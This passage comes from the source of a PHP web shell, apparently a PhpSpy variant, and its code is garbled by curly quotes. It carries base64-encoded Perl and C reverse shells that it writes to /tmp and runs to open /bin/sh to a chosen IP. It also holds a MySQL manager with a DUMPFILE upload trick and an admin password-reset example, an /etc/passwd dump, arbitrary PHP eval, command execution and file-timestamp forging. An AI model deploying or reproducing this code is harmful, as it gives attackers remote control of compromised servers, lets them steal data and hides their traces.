5IERhbWFuZTIwMTEtRHo8L3A+DQo8L2Zvcm0+JzsNCn1lbHNlew0KQGxpbmVzID08JEZPUk17cGFzc30+Ow0KJHkgPSBAbGluZXM7DQpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOw0KcHJpbnQgTVlGSUxFICJ0YXIgLWN6ZiAiLiRGT1JNe3Rhcn0uIi50YXIgIjsNCmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsNCndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPg0KPHA+RG9uZSAhITwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj5DbGljayBoZXJlIDIgZG93bmxvYWQgdGFyIGZpbGU8L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=‘;
$config = fopen("config.dam" ,"w+");
$write = fwrite ($config ,base64_decode($configshell));
fclose($config);
chmod("config.dam",0755);
echo "<iframe src=config/config.dam width=100% height=100% frameborder=0></iframe> ";
}
elseif ($action == ’sqlfile‘) {
if($doing=="mysqlupload"){
$file = $_FILES[‚uploadfile‘];
$filename = $file[‚tmp_name‘];
if (file_exists($savepath)) {
m(‚The goal file has already existed‘);
} else {
if(!$filename) {
m(‚Please choose a file‘);
} else {
$fp=@fopen($filename,’r‘);
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file[’name‘];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE ‚$savepath‘;");
m($result ? ‚Upload success‘ : ‚Upload has failed: ‚.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$(‚doing‘).value=doing;
$(‚mysqlfile‘).dbhost.value=$(‚dbinfo‘).dbhost.value;
$(‚mysqlfile‘).dbport.value=$(‚dbinfo‘).dbport.value;
$(‚mysqlfile‘).dbuser.value=$(‚dbinfo‘).dbuser.value;
$(‚mysqlfile‘).dbpass.value=$(‚dbinfo‘).dbpass.value;
$(‚mysqlfile‘).dbname.value=$(‚dbinfo‘).dbname.value;
$(‚mysqlfile‘).charset.value=$(‚dbinfo‘).charset.value;
$(‚mysqlfile‘).submit();
}
</script>
<?php
!$dbhost && $dbhost = ‚localhost‘;
!$dbuser && $dbuser = ‚root‘;
!$dbport && $dbport = ‚3306‘;
$charsets = array(“=>’Default‘,’gbk’=>’GBK‘, ‚big5’=>’Big5‘, ‚utf8’=>’UTF-8‘, ‚latin1’=>’Latin1‘);
formhead(array(‚title’=>’MYSQL Information‘,’name’=>’dbinfo‘));
makehide(‚action‘,’sqlfile‘);
p(‚<p>‘);
p(‚DBHost:‘);
makeinput(array(’name’=>’dbhost‘,’size’=>20,’value’=>$dbhost));
p(‚:‘);
makeinput(array(’name’=>’dbport‘,’size’=>4,’value’=>$dbport));
p(‚DBUser:‘);
makeinput(array(’name’=>’dbuser‘,’size’=>15,’value’=>$dbuser));
p(‚DBPass:‘);
makeinput(array(’name’=>’dbpass‘,’size’=>15,’value’=>$dbpass));
p(‚DBName:‘);
makeinput(array(’name’=>’dbname‘,’size’=>15,’value’=>$dbname));
p(‚DBCharset:‘);
makeselect(array(’name’=>’charset‘,’option’=>$charsets,’selected’=>$charset));
p(‚</p>‘);
formfoot();
p(‚<form action="‘.$self.’" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">‘);
p(‚<h2>Upload file</h2>‘);
p(‚<p><b>This operation the DB user must has FILE privilege</b></p>‘);
p(‚<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\’mysqlupload\‘);">Upload</a></p>‘);
p(‚<h2>Download file</h2>‘);
p(‚<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\’mysqldown\‘);">Download</a></p>‘);
makehide(‚dbhost‘);
makehide(‚dbport‘);
makehide(‚dbuser‘);
makehide(‚dbpass‘);
makehide(‚dbname‘);
makehide(‚charset‘);
makehide(‚doing‘);
makehide(‚action‘,’sqlfile‘);
p(‚</form>‘);
}
elseif ($action == ’sqladmin‘) {
!$dbhost && $dbhost = ‚localhost‘;
!$dbuser && $dbuser = ‚root‘;
!$dbport && $dbport = ‚3306‘;
$dbform = ‚<input type="hidden" id="connect" name="connect" value="1" />‘;
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == ‚backupmysql‘ && $saveasfile) {
if (!$table) {
m(‚Please choose the table‘);
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,’w‘);
if ($fp) {
$result = q(‚SHOW tables‘);
if (!$result) p(‚<h2>‘.mysql_error().'</h2>‘);
$mysqldata = “;
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,“,$path);
m(‚Database has success backup to <a href="‘.$fileurl.’" target="_blank">‘.$path.'</a>‘);
mysql_close();
} else {
m(‚Backup failed‘);
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = “;
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."’".addslashes($val)."’";
$tmp = ‚,‘;
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? ‚Insert new record of success‘ : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = “;
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."=’".addslashes($val)."’";
$tmp = ‚,‘;
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? ‚Record updating‘ : mysql_error());
}
}
if ($doing == ‚del‘ && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? ‚Deletion record of success‘ : mysql_error());
}
if ($tablename && $doing == ‚drop‘) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m(‚Drop table of success‘);
$tablename = “;
} else {
m(mysql_error());
}
}
$charsets = array(“=>’Default‘,’gbk’=>’GBK‘, ‚big5’=>’Big5‘, ‚utf8’=>’UTF-8‘, ‚latin1’=>’Latin1‘);
formhead(array(‚title’=>’MYSQL Manager‘));
makehide(‚action‘,’sqladmin‘);
p(‚<p>‘);
p(‚DBHost:‘);
makeinput(array(’name’=>’dbhost‘,’size’=>20,’value’=>$dbhost));
p(‚:‘);
makeinput(array(’name’=>’dbport‘,’size’=>4,’value’=>$dbport));
p(‚DBUser:‘);
makeinput(array(’name’=>’dbuser‘,’size’=>15,’value’=>$dbuser));
p(‚DBPass:‘);
makeinput(array(’name’=>’dbpass‘,’size’=>15,’value’=>$dbpass));
p(‚DBCharset:‘);
makeselect(array(’name’=>’charset‘,’option’=>$charsets,’selected’=>$charset));
makeinput(array(’name’=>’connect‘,’value’=>’Connect‘,’type’=>’submit‘,’class’=>’bt‘));
p(‚</p>‘);
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == ‚del‘) {
if (!confirm(‚Is or isn\’t deletion record?‘)) return;
}
$(‚recordlist‘).doing.value=action;
$(‚recordlist‘).base64.value=base64;
$(‚recordlist‘).tablename.value=tablename;
$(‚recordlist‘).submit();
}
function moddbname(dbname) {
if(!dbname) return;
$(’setdbname‘).dbname.value=dbname;
$(’setdbname‘).submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$(’settable‘).doing.value=doing;
}
if (page) {
$(’settable‘).page.value=page;
}
$(’settable‘).tablename.value=tablename;
$(’settable‘).submit();
}
</script>
<?php
// SQL
formhead(array(’name’=>’recordlist‘));
makehide(‚doing‘);
makehide(‚action‘,’sqladmin‘);
makehide(‚base64‘);
makehide(‚tablename‘);
p($dbform);
formfoot();
// Data
formhead(array(’name’=>’setdbname‘));
makehide(‚action‘,’sqladmin‘);
p($dbform);
if (!$dbname) {
makehide(‚dbname‘);
}
formfoot();
formhead(array(’name’=>’settable‘));
makehide(‚action‘,’sqladmin‘);
p($dbform);
makehide(‚tablename‘);
makehide(‚page‘,$page);
makehide(‚doing‘);
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page – 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
// get mysql server
$mysqlver = mysql_get_server_info();
p(‚<p>MySQL ‚.$mysqlver.‘ running in ‚.$dbhost.‘ as ‚.$dbuser.’@‘.$dbhost.'</p>‘);
$highver = $mysqlver > ‚4.1‘ ? 1 : 0;
// Show database
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = ‚– Select a database –‚;
while($db = mysql_fetch_array($query)) {
$dbs[$db[‚Database‘]] = $db[‚Database‘];
}
makeselect(array(‚title’=>’Please select a database:‘,’name’=>’db[]‘,’option’=>$dbs,’selected’=>$dbname,’onchange’=>’moddbname(this.options[this.selectedIndex].value)‘,’newline’=>1));
$tabledb = array();
if ($dbname) {
p(‚<p>‘);
p(‚Current dababase: <a href="javascript:moddbname(\“.$dbname.’\‘);">‘.$dbname.'</a>‘);
if ($tablename) {
p(‚ | Current Table: <a href="javascript:settable(\“.$tablename.’\‘);">‘.$tablename.'</a> [ <a href="javascript:settable(\“.$tablename.’\‘, \’insert\‘);">Insert</a> | <a href="javascript:settable(\“.$tablename.’\‘, \’structure\‘);">Structure</a> | <a href="javascript:settable(\“.$tablename.’\‘, \’drop\‘);">Drop</a> ]‘);
}
p(‚</p>‘);
mysql_select_db($dbname);
$getnumsql = “;
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p(‚<form action="‘.$self.’" method="POST">‘);
p(‚<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>‘.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \’69e53e5ab9536e55d31ff533aefc4fbe\‘, salt = \’p5T\‘ WHERE `userid` = \’1\‘ </font>
</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">‘.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>‘);
makehide(‚tablename‘, $tablename);
makehide(‚action‘,’sqladmin‘);
p($dbform);
p(‚</form>‘);
if ($tablename || ($runquery && $sql_query)) {
if ($doing == ’structure‘) {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p(‚<table border="0" cellpadding="3" cellspacing="0">‘);
p(‚<tr class="head">‘);
p(‚<td>Field</td>‘);
p(‚<td>Type</td>‘);
p(‚<td>Null</td>‘);
p(‚<td>Key</td>‘);
p(‚<td>Default</td>‘);
p(‚<td>Extra</td>‘);
p(‚</tr>‘);
foreach ($rowdb as $row) {
$thisbg = bg();
p(‚<tr class="fout" onmouseover="this.className=\’focus\‘;" onmouseout="this.className=\’fout\‘;">‘);
p(‚<td>‘.$row[‚Field‘].'</td>‘);
p(‚<td>‘.$row[‚Type‘].'</td>‘);
p(‚<td>‘.$row[‚Null‘].’ </td>‘);
p(‚<td>‘.$row[‚Key‘].’ </td>‘);
p(‚<td>‘.$row[‚Default‘].’ </td>‘);
p(‚<td>‘.$row[‚Extra‘].’ </td>‘);
p(‚</tr>‘);
}
tbfoot();
} elseif ($doing == ‚insert‘ || $doing == ‚edit‘) {
$result = q(‚SHOW COLUMNS FROM ‚.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == ‚insert‘) {
p(‚<h2>Insert new line in ‚.$tablename.‘ table »</h2>‘);
} else {
p(‚<h2>Update record in ‚.$tablename.‘ table »</h2>‘);
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p(‚<form method="post" action="‘.$self.’">‘);
p($dbform);
makehide(‚action‘,’sqladmin‘);
makehide(‚tablename‘,$tablename);
p(‚<table border="0" cellpadding="3" cellspacing="0">‘);
foreach ($rowdb as $row) {
if ($rs[$row[‚Field‘]]) {
$value = htmlspecialchars($rs[$row[‚Field‘]]);
} else {
$value = “;
}
$thisbg = bg();
p(‚<tr class="fout" onmouseover="this.className=\’focus\‘;" onmouseout="this.className=\’fout\‘;">‘);
p(‚<td><b>‘.$row[‚Field‘].'</b><br />‘.$row[‚Type‘].'</td><td><textarea class="area" name="insertsql[‚.$row[‚Field‘].‘]" style="width:500px;height:60px;overflow:auto;">‘.$value.'</textarea></td></tr>‘);
}
if ($doing == ‚insert‘) {
p(‚<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>‘);
} else {
p(‚<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>‘);
makehide(‚base64‘, $base64);
}
p(‚</table></form>‘);
} else {
$querys = @explode(‚;‘,$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p(‚<h2>Error : ‚.mysql_error().'</h2>‘);
break;
case 1:
if (strtolower(substr($query,0,13)) == ’select * from‘) {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(‚ ‚, ‚ ‚, ‚ ‚), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p(‚<table border="0" cellpadding="3" cellspacing="0">‘);
p(‚<tr class="head">‘);
if ($allowedit) p(‚<td>Action</td>‘);
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p(‚</tr>‘);
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p(‚<tr class="fout" onmouseover="this.className=\’focus\‘;" onmouseout="this.className=\’fout\‘;">‘);
$where = $tmp = $b1 = “;
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."=’".addslashes($inside)."’";
$tmp = ‚ AND ‚;
}
$b1 .= ‚<td nowrap>‘.html_clean($inside).’ </td>‘;
}
$where = base64_encode($where);
if ($allowedit) p(‚<td nowrap><a href="javascript:editrecord(\’edit\‘, \“.$where.’\‘, \“.$tablename.’\‘);">Edit</a> | <a href="javascript:editrecord(\’del\‘, \“.$where.’\‘, \“.$tablename.’\‘);">Del</a></td>‘);
p($b1);
p(‚</tr>‘);
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p(‚<h2>affected rows : <b>‘.$ar.'</b></h2>‘);
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table[‚Data_length‘];
$table_rows = $table_rows + $table[‚Rows‘];
$table[‚Data_length‘] = sizecount($table[‚Data_length‘]);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p(‚<table border="0" cellpadding="0" cellspacing="0">‘);
p(‚<form action="‘.$self.’" method="POST">‘);
makehide(‚action‘,’sqladmin‘);
p($dbform);
p(‚<tr class="head">‘);
p(‚<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>‘);
p(‚<td>Name</td>‘);
p(‚<td>Rows</td>‘);
p(‚<td>Data_length</td>‘);
p(‚<td>Create_time</td>‘);
p(‚<td>Update_time</td>‘);
if ($highver) {
p(‚<td>Engine</td>‘);
p(‚<td>Collation</td>‘);
}
p(‚</tr>‘);
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p(‚<tr class="fout" onmouseover="this.className=\’focus\‘;" onmouseout="this.className=\’fout\‘;">‘);
p(‚<td align="center" width="2%"><input type="checkbox" name="table[]" value="‘.$table[‚Name‘].’" /></td>‘);
p(‚<td><a href="javascript:settable(\“.$table[‚Name‘].’\‘);">‘.$table[‚Name‘].'</a> [ <a href="javascript:settable(\“.$table[‚Name‘].’\‘, \’insert\‘);">Insert</a> | <a href="javascript:settable(\“.$table[‚Name‘].’\‘, \’structure\‘);">Structure</a> | <a href="javascript:settable(\“.$table[‚Name‘].’\‘, \’drop\‘);">Drop</a> ]</td>‘);
p(‚<td>‘.$table[‚Rows‘].'</td>‘);
p(‚<td>‘.$table[‚Data_length‘].'</td>‘);
p(‚<td>‘.$table[‚Create_time‘].'</td>‘);
p(‚<td>‘.$table[‚Update_time‘].'</td>‘);
if ($highver) {
p(‚<td>‘.$table[‚Engine‘].'</td>‘);
p(‚<td>‘.$table[‚Collation‘].'</td>‘);
}
p(‚</tr>‘);
}
p(‚<tr class=fout>‘);
p(‚<td> </td>‘);
p(‚<td>Total tables: ‚.$table_num.'</td>‘);
p(‚<td>‘.$table_rows.'</td>‘);
p(‚<td>‘.$data_size.'</td>‘);
p(‚<td colspan="‘.($highver ? 4 : 2).’"> </td>‘);
p(‚</tr>‘);
p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER[‚HTTP_HOST‘]."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide(‚doing‘,’backupmysql‘);
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == ‚backconnect‘) {
!$yourip && $yourip = $_SERVER[‚REMOTE_ADDR‘];
!$yourport && $yourport = ‚12345‘;
$usedb = array(‚perl’=>’perl‘,’c’=>’c‘);
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == ‚perl‘) {
cf(‚/tmp/angel_bc‘,$back_connect);
$res = execute(which(‚perl‘)." /tmp/angel_bc $yourip $yourport &");
} else {
cf(‚/tmp/angel_bc.c‘,$back_connect_c);
$res = execute(‚gcc -o /tmp/angel_bc /tmp/angel_bc.c‘);
@unlink(‚/tmp/angel_bc.c‘);
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport …");
}
formhead(array(‚title’=>’Back Connect‘));
makehide(‚action‘,’backconnect‘);
p(‚<p>‘);
p(‚Your IP:‘);
makeinput(array(’name’=>’yourip‘,’size’=>20,’value’=>$yourip));
p(‚Your Port:‘);
makeinput(array(’name’=>’yourport‘,’size’=>15,’value’=>$yourport));
p(‚Use:‘);
makeselect(array(’name’=>’use‘,’option’=>$usedb,’selected’=>$use));
makeinput(array(’name’=>’start‘,’value’=>’Start‘,’type’=>’submit‘,’class’=>’bt‘));
p(‚</p>‘);
formfoot();
}//end backconnect window via NC
elseif ($action == ‚etcpwd‘) {
formhead(array(‚title’=>’Get /etc/passwd‘));
makehide(‚action‘,’etcpwd‘);
makehide(‚dir‘,$nowpath);
$i = 0;
echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "</textarea></p>";
formfoot();
}
elseif ($action == ‚eval‘) {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match(‚#<\?#si‘, $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array(‚title’=>’Eval PHP Code‘));
makehide(‚action‘,’eval‘);
maketext(array(‚title’=>’PHP Code‘,’name’=>’phpcode‘, ‚value’=>$phpcode));
p(‚<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>‘);
formfooter();
}//end eval
elseif ($action == ‚editfile‘) {
if(file_exists($opfile)) {
$fp=@fopen($opfile,’r‘);
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array(‚title’=>’Create / Edit File‘));
makehide(‚action‘,’file‘);
makehide(‚dir‘,$nowpath);
makeinput(array(‚title’=>’Current File (import new file name and new file)‘,’name’=>’editfilename‘,’value’=>$opfile,’newline’=>1));
maketext(array(‚title’=>’File Content‘,’name’=>’filecontent‘,’value’=>$contents));
formfooter();
}//end editfile
elseif ($action == ’newtime‘) {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array(‚January’=>1,’February’=>2,’March’=>3,’April’=>4,’May’=>5,’June’=>6,’July’=>7,’August’=>8,’September’=>9,’October’=>10,’November’=>11,’December’=>12);
formhead(array(‚title’=>’Clone file was last modified time‘));
makehide(‚action‘,’file‘);
makehide(‚dir‘,$nowpath);
makeinput(array(‚title’=>’Alter file‘,’name’=>’curfile‘,’value’=>$opfile,’size’=>120,’newline’=>1));
makeinput(array(‚title’=>’Reference file (fullpath)‘,’name’=>’tarfile‘,’size’=>120,’newline’=>1));
formfooter();
formhead(array(‚title’=>’Set last modified‘));
makehide(‚action‘,’file‘);
makehide(‚dir‘,$nowpath);
makeinput(array(‚title’=>’Current file (fullpath)‘,’name’=>’curfile‘,’value’=>$opfile,’size’=>120,’newline’=>1));
p(‚<p>Instead »‘);
p(‚year:‘);
makeinput(array(’name’=>’year‘,’value’=>date(‚Y‘,$opfilemtime),’size’=>4));
p(‚month:‘);
makeinput(array(’name’=>’month‘,’value’=>date(‚m‘,$opfilemtime),’size’=>2));
p(‚day:‘);
makeinput(array(’name’=>’day‘,’value’=>date(‚d‘,$opfilemtime),’size’=>2));
p(‚hour:‘);
makeinput(array(’name’=>’hour‘,’value’=>date(‚H‘,$opfilemtime),’size’=>2));
p(‚minute:‘);
makeinput(array(’name’=>’minute‘,’value’=>date(‚i‘,$opfilemtime),’size’=>2));
p(’second:‘);
makeinput(array(’name’=>’second‘,’value’=>date(’s‘,$opfilemtime),’size’=>2));
p(‚</p>‘);
formfooter();
}//end newtime
elseif ($action == ’shell‘) {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM(‚Shell.Application‘);
$a = $shell->ShellExecute($program,$parameter);
m(‚Program run has ‚.(!$a ? ’success‘ : ‚fail‘));
}
!$program && $program = ‚c:\windows\system32\cmd.exe‘;
!$parameter && $parameter = ‚/c net start > ‚.SA_ROOT.’log.txt‘;
formhead(array(‚title’=>’Execute Program‘));
makehide(‚action‘,’shell‘);
makeinput(array(‚title’=>’Program‘,’name’=>’program‘,’value’=>$program,’newline’=>1));
p(‚<p>‘);
makeinput(array(‚title’=>’Parameter‘,’name’=>’parameter‘,’value’=>$parameter));
makeinput(array(’name’=>’submit‘,’class’=>’bt‘,’type’=>’submit‘,’value’=>’Execute‘));
p(‚</p>‘);
formfoot();
}
formhead(array(‚title’=>’Execute Command‘));
makehide(‚action‘,’shell‘);
if (IS_WIN && IS_COM) {
$execfuncdb = array(‚phpfunc’=>’phpfunc‘,’wscript’=>’wscript‘,’proc_open’=>’proc_open‘);
makeselect(array(‚title’=>’Use:‘,’name’=>’execfunc‘,’option’=>$execfuncdb,’selected’=>$execfunc,’newline’=>1));
}
p(‚<p>‘);
makeinput(array(‚title’=>’Command‘,’name’=>’command‘,’value’=>$command));
makeinput(array(’name’=>’submit‘,’class’=>’bt‘,’type’=>’submit‘,’value’=>’Execute‘));
p(‚</p>‘);
formfoot();
if ($command) {
p(‚<hr width="100%" noshade /><pre>‘);
if ($execfunc==’wscript‘ && IS_WIN && IS_COM) {
$wsh = new COM(‚WScript.shell‘);
$exec = $wsh->exec(‚cmd.exe /c ‚.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc==’proc_open‘ && IS_WIN && IS_COM) {
